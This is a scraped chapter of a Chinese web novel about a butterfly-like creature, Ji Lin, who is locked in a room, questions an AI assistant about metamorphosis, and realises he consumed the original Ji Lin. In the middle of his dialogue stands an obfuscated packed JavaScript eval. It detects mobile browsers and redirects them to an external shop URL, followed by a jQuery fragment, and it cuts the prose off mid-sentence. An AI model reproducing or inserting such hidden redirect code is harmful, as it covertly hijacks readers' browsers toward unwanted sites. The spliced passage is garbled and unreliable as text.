文趣网 > 都市小说 > 弃养偏执蝴蝶后 > 25. 真相
    说不清是因为对方是执拗傻子,还是其他原因。何青勐只快速扫了季林一眼,后背瞬间窜起一层寒意。

    多年生死关头的历练,让他的身体做出了本能反应。

    几乎在季林拔腿冲来的同时,他猛地侧身窜出,并狠狠向外拽上门。

    可傻子像是气坏了,爆发出的力量大得惊人,砰砰猛拽两下门,竟每次都能扯开一道巴掌宽的缝隙。

    何青勐吓得赶紧抬脚蹬墙借力,身体向后仰顷,死命拽着门把手,完全是对待亡命逃犯的卖力!

    “卧槽,疯子,绝对是个疯子!”

    幸亏这是公共工作间,门上的钥匙大家都懒得拔,何青勐用力到太阳穴青筋直跳,单手控门,另一只手飞速转动钥匙。

    咔哒咔哒,门锁响了两声,双层锁咬合锁定!

    任凭门内的季林再如何暴躁,门终究是开不了了。

    何青勐这才稍稍松劲儿,后怕地退了一步,张嘴又带着火药味儿。

    “你亲她我还不高兴呢,我像你这样发疯了吗?!

    季林,你也就这点本事了。你这智商最多八岁,天天给原月惹麻烦。”

    话音刚落,门内忽然静了下来。

    咦,道德绑架有效啊。

    何青勐眼睛微眯,走上前,又挑衅地在门板上敲了敲,咚咚。

    “真的,查查你的情况吧。原月这么好的女人,嫁给个大智障,再生个小智障,这辈子不是完了么!你要真爱她,就放过她吧。想好了来找我,条件你随便谈。”

    何青勐软硬兼施喊了一通,这才活动了一下肩背,调整状态,转身沿着通道离开了。

    工作间内,季林垂着头,僵立在原地。

    他的肩头剧烈起伏,粗重的呼吸闷在胸腔里,握在拳头里的指甲死死掐进掌心。

    原本清晰的瞳仁,快速在棕瞳与浓黑的异化瞳色之间来回交替翻涌。青蓝面纹只冒出了寸许,就被死死压制在皮肤之下,不得蔓延前进。

    原月的声音一遍遍在他脑海回响。

    “季林,什么才是最重要的!”

    “最重要的是你的身份不能暴露!

    要忍,要忍住。

    不能给原月惹麻烦。

    自我的压抑和绞杀不知过了多久,外面传来了细碎响动,紧接着门忽然被推开——

    季林吓得像畏光的兽类,瞬间缩起肩颈,抬手遮住了自己的脸。

    呼吸停滞,心脏像疯了一样狂跳,脑子里有一个声音在大喊,跑,快跑!脚跟都要抬起来了——

    “季林?”小顾带着担忧的声音,轻轻传来。

    季林的腿僵在那里。

    小顾的脚步越来越近,然后,她拉开了他挡面的手。

    “季林,你怎么……”

    血液瞬间冲上头顶,脸上像被排针扎过一样,泛起密密麻麻的刺痛,耳间全是嘈杂的嗡鸣。

    “你怎么流了这么汗?”

    汗?

    季林的眼球,僵硬地转动了一个刻度。

    小顾连忙从口袋里抽出餐巾纸,给季林擦汗。看着他吓得虚弱汗湿的样子,心里把刚才那个奇怪的男人骂个狗血淋头。

    难怪那个男人走了这么久,季林还不出来。

    原来是那个狗东西把季林反锁了!

    “他怎么欺负你了?你告诉我,告诉原月老师,我们帮你出气!”

    “不行!”季林吓得脸皮一紧,大喊出声。

    话音未落,他跌跌撞撞扑向储物柜,终于在玻璃柜门上看清了自己的倒影。

    他脸上什么异化痕迹都看不到了,看上去和普通人别无二致,只是脸色异常苍白,汗水浸透额发与衣领,透着难以掩饰的虚弱。

    还好……这次控制住了……没给原月惹麻烦。

    季林双腿一软,跌坐到了沙发上。

    腰腹和大腿上,被何青勐揍出来的钝痛感后知后觉地鲜明了起来。

    季林攥紧沙发扶手,默默咬牙忍耐。

    他抬起惨白的脸看向小顾,声音带着恳求。

    “小顾,教我上网吧……”

    手机对季林来说,是一个很神奇很陌生的东西。

    像隐形的脐带,维系着他和原月之间的联系。

    最开始破蛹的日子里,原月会一直开着语音,给独自在家焦躁不安的他听她在学校的声音。

    那种隔着一层微弱电流的杂音,沙沙滋滋,却很能安抚他的神经。

    所以,学会说话后,他要求的第一件事,就是学习用手机联系原月。

    除了原月,他对手机里的其余一切都不感兴趣。

    可是现在不同了。

    何青勐的话歪打正着,戳中了他心里最不安的角落。

    他不止一次问过原月,却总被原月用“你再长大一点就知道了”这种话敷衍。

    可他……到底是什么怪物?

    小顾离开了,房门重新关紧,窗帘拉上遮住了所有的光线。

    看着黑暗里亮起的小小的屏幕,被压抑的惶恐伴随着黑暗,重新浸满季林的身体。

    大脑中对真相的渴望,和对某种即将摧毁他生活的危险的预知,一起啃咬着他的神经。

    让他既无法破釜沉舟开始询问,又无法从这个念头中脱离。

    要是……要是原月在这里就好了。

    好想她啊。

    想让原月抱着他,哄着他,说她是他最重要的人,说无论他是什么怪物,她都会永远和他在一起!

    想把原月的爱像猩红的鲜血一样,从她的心脏里狠狠挤出来,涂满他的身体……

    那他是不是就不会像现在这样,恐惧到浑身发抖了?

    手指终于按住了屏幕上的小话筒,季林听到了自己干涩阴郁的声音。

    “这个世界上,有什么东西,会从蛹里爬出来……”他断断续续,把自己的异状全部交代清楚。

    松开手,语音转成的文字飞速被整理,排列到了对话框的最上面。

    AI电子音带着分寸得当的亲切,缓缓响起。

    “结合你描述的特征:破蛹而生、带有蓝色鳞粉、躯体背部又硬质突起骨骼、能够释放信息素气味,同时引诱人类与普通蝴蝶。自然界不存在这类生物。听起来更像是发生异变的蝴蝶个体。这是你发现的生物,还是从书上、影视剧上看到的设定?它还有其他特征吗?”

    季林的呼吸停滞好一会,才重新喘气,手指又按到了小话筒上。

    “如果,如果是蝴蝶的话,为什么,一开始是一个样子,从蛹里出来的又是另一个样子……之前那个……东西……去哪了?”

    AI的电子音再次响起,这次抛出了一连窜复杂的词汇,什么“变态发育”“组织溶解重组”“新形态原料”等等,让季林的眼中涌出压抑的烦躁。

    “你,可不可以

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17777866|209249||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    说得简单一点!之前那个,去哪了?!”

    “当然可以。在蝴蝶特殊的蜕变过程,你口中的‘之前那个’会在蛹里彻底融化,变成养料,用来给‘现在这个’长出身体。

    “再简单点来说,‘之前那个’的身体,是‘现在这个’身体的——食物。这样够简单吗?需要我再举个例子吗?”

    ……食物?!

    季林的瞳孔猛地放大,浑身血液瞬间冷了半截!

    他的双唇不受控地张开,呼吸因巨大的惊愕停滞在喉间,说不出一个字。

    从前拼凑出的猜想、认知,轰然碎裂!

    他骤然直面了自己的贪噬,被这冰冷的真相死死掐住了喉咙。

    所以,原月一直知道,是他吃掉了原来的季林?!

    难怪、难怪刚看到从蛹里出来的是他时,原月的眼神是那样的!

    不,不止那时,她一直恨他!

    只要他有零星冒犯到原来的季林,她就会用那种极度厌恶的眼神,含恨地看着他!

    她怎么可能不恨他?

    他竟然……把她最爱的未婚夫当成食物吃了啊。

    寒意顺着骨头缝不断往外渗,季林的唇齿止不住地发抖。

    他忍不住把手指抵在牙齿间咬住,皮肤纹路上很快就洇出艳红血丝,紧接着,又被仓皇落下的透明泪水冲淡了……

    他是所有怪物中,最恶毒的怪物。

    傍晚时,暮色沉沉的天际落起细雨。

    清冷的雨气顺着窗缝钻入,游走到床边,扑到原月沉睡的脸上。

    昏暗中,原月的脸颊在枕头上蹭了蹭,还未睁眼,先抬手抚上自己的额头。

    好像没那么烫了。

    看来一次吃双倍的感冒药还是有效果的,只是,果然,胃开始隐隐作疼。

    她皱眉摸索到手机,点亮屏幕,睁眼一瞧,竟然已经快七点了。

    怎么季林还没回来?

    今天不还是早班,应该四点半下班吗?

    原月在棉质睡裙外披了一个小毯子,推开自己的房门走了出来。

    整个家里都浸在晦暗不明的光线里,一片昏黑寂静,家具的轮廓都变得朦胧,藏在淡淡的阴影之中。

    太静了,恍然间,让她产生了一种被全世界抛弃了的空旷孤凉。

    她忍不住暗想,如果起床看到的是,厨房暖黄的灯亮着,季林围着围裙在灶火前专注忙碌,鲜美的清粥咕噜咕噜冒着泡泡,把厨房的玻璃门上熏出雾蒙蒙的水汽……她可能会舒服许多。

    原月握着自己的手机,抿着嘴苦恼了起来。

    昨天两个人摊牌后,闹得很不愉快。

    从她说出不爱他那句话以后,季林像是气狠了,咬着牙,从昨晚到今早,一声也没吭过。

    现在不回来,有可能是还在生气。

    也有可能是下雨了,在等她去送伞?

    ……如果先打电话关心,算她示弱吗?

    原月把自己软塌塌地砸进沙发里,把头埋进抱枕堆中。

    沉默逃避了好几分钟后。

    她又猛地抬头,手指在屏幕上飞快点了两下,放在了耳边。

    嘟声连续响了十几声,无人接听。

    就在原月耐心要耗尽,几乎准备挂断的刹那,听筒里终于响起轻微的接通提示音。

    原月无意识咬紧了自己的嘴唇。

    等着对面的人先开口。